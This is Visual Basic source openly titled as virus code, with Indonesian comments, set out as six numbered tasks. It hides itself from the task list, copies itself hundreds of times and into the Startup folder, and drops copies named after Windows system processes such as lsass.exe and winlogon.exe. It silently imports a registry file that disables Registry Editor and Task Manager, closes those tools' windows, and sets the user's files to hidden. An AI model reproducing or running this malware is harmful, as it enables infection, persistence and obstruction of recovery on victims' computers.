Souce Virus Code Vb

'1. Task pertama
Private Sub cmdHide_Click()
App.TaskVisible = False
End Sub

Private Sub cmdShow_Click()
App.TaskVisible = True
End Sub

'2. Task kedua : penggandaan
Private Sub cmdDuplikat_Click()
For i = 1 To 300
FileCopy App.Path & "\" & App.EXEName & _
".exe", "C:\DiplikatVirusku" & i & ".exe"
Next
End Sub

'3. Task ketiga : copy ke folder startUp
Private Sub cmdGetStartUp_Click()
'Berikut kita akan menggunakan Windows host script
Dim mShell
Set mShell = CreateObject("WScript.Shell")
txtFStartUp = mShell.SpecialFolders("Startup")
End Sub
Private Sub cmdCopy2Startup_Click()
FileCopy App.Path & "\" & App.EXEName & _
".exe", txtFStartUp & "\virusku.exe"
MsgBox "Penggandaan berhasil!"
End Sub

'4. Task ke-empat : melakukan multi-task
Private Sub cmdMultiTsk_Click()
For i = 1 To 5
Shell App.Path & "\" & App.EXEName & ".exe" 'menjalankan file virus
Next
End Sub

Private Sub cmdMultiTsk2_Click()
Tujuan = "C:\"

FileCopy App.Path & "\" & App.EXEName & _
".exe", Tujuan & "lsass.exe"
FileCopy App.Path & "\" & App.EXEName & _
".exe", Tujuan & "services.exe"
FileCopy App.Path & "\" & App.EXEName & _
".exe", Tujuan & "\smss.exe"
FileCopy App.Path & "\" & App.EXEName & _
".exe", Tujuan & "\csrss.exe"
FileCopy App.Path & "\" & App.EXEName & _
".exe", Tujuan & "\winlogon.exe"

Shell Tujuan & "lsass.exe"
Shell Tujuan & "services.exe"
Shell Tujuan & "\smss.exe"
Shell Tujuan & "\csrss.exe"
Shell Tujuan & "\winlogon.exe"

End Sub

'5. Task ke-lima : melakukan disable registry dan task manager
Private Sub cmdDisable_Click()
Open "C:\X.reg" For Output As #1
Print #1, "Windows Registry Editor Version 5.00"
Print #1, ""
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]"
Print #1, """DisableRegistryTools""" & "=dword:00000001"
Print #1, """DisableTaskMgr""" & "=dword:00000001"
Close #1
Shell ("Regedit /s C:\X.reg")
Kill "C:\X.reg"
End Sub

'Disable registry dan task manager secara langsung
Private Sub cmdDisable2_Click()
Dim hWnd, retval As Long
Dim RegeditTitle, TaskManagerTitle As String

RegeditTitle = "Windows Task Manager" 'Title Window Task Manager
TaskManagerTitle = "Registry Editor" 'Title Window Registry Editor

hWnd = FindWindow(vbNullString, RegeditTitle)
' Menemukan window yang mempunyai string sesuai yang telah ditentukan
retval = PostMessage(hWnd, WM_CLOSE, 0&, 0&) 'Mengirimkan perintah agar program menutup

hWnd = FindWindow(vbNullString, TaskManagerTitle)
retval = PostMessage(hWnd, WM_CLOSE, 0&, 0&)

End Sub
'6. Task ke-enam : Menyembunyikan file dan menggantikan dengan file virus
Private Sub Dir1_Change()
File1.Pattern = txtEkstensi.Text
'Untuk melakukan filter pada File1 sesuai dengan ekstensi pada txtEkstensi
File1.Path = Dir1.Path 'Agar path File1 mengarah kepada path Dir1
End Sub

Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive 'Agar path Dir1 mengarah kepada path Drive1
File1.Path = Dir1.Path
End Sub
Private Sub cmdSetEkstensi_Click()
File1.Pattern = txtEkstensi.Text
'Agar filter pada File1 sesuai dengan ekstensi yang sudah ditulis pada txtEkstensi
File1.Refresh 'Melakukan refresh pada tampilan File1
End Sub
Private Sub cmdFileSembunyi_Click()
For i = 0 To File1.ListCount - 1 'looping/pengulangan terhadap isi File1
SetAttr Dir1.Path & "\" & File1.List(i), vbHidden
'Melakukan pengaturan agar semua file yang ada di File1 berattribut Hidden
Next
End Sub
Private Sub cmdFileNormalkan_Click()
For i = 0 To File1.ListCount - 1
SetAttr Dir1.Path & "\" & File1.List(i), vbNormal
'Melakukan pengaturan agar semua attribut file pada File1 normal kembali
Next
End Sub